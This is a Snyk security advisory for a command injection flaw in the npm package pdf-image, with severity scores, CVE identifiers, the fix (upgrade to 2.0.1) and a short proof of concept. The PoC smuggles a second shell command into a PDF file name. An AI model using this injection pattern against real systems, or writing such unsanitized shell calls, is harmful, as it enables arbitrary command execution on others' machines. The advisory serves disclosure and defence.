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Arbitrary Command Injection Affecting pdf-image package, versions *

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.46% (75th percentile)
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NVD
9.8 critical

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  • Snyk ID npm:pdf-image:20180529
  • published 30 May 2018
  • disclosed 29 May 2018
  • credit N B Sri Harsha, kelotex
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Introduced: 29 May 2018

CVE-2018-3757 Open this link in a new tab
CVE-2020-8132 Open this link in a new tab
CWE-94 Open this link in a new tab

How to fix?

Upgrade pdf-image to version 2.0.1 or higher.

Overview

pdf-image provides an interface to convert PDF's pages to png files in Node.js by using ImageMagick.

Affected versions of this package are vulnerable to Arbitrary Command Injection.

PoC by N B Sri Harsha 

var PDFImage = require("pdf-image").PDFImage;
var pdfImage = new PDFImage("asd.pdf\"; touch /tmp/hacked\"");
console.log(pdfImage.constructGetInfoCommand())
pdfImage.numberOfPages().then(function (imagePath){
console.log(imagePath);
})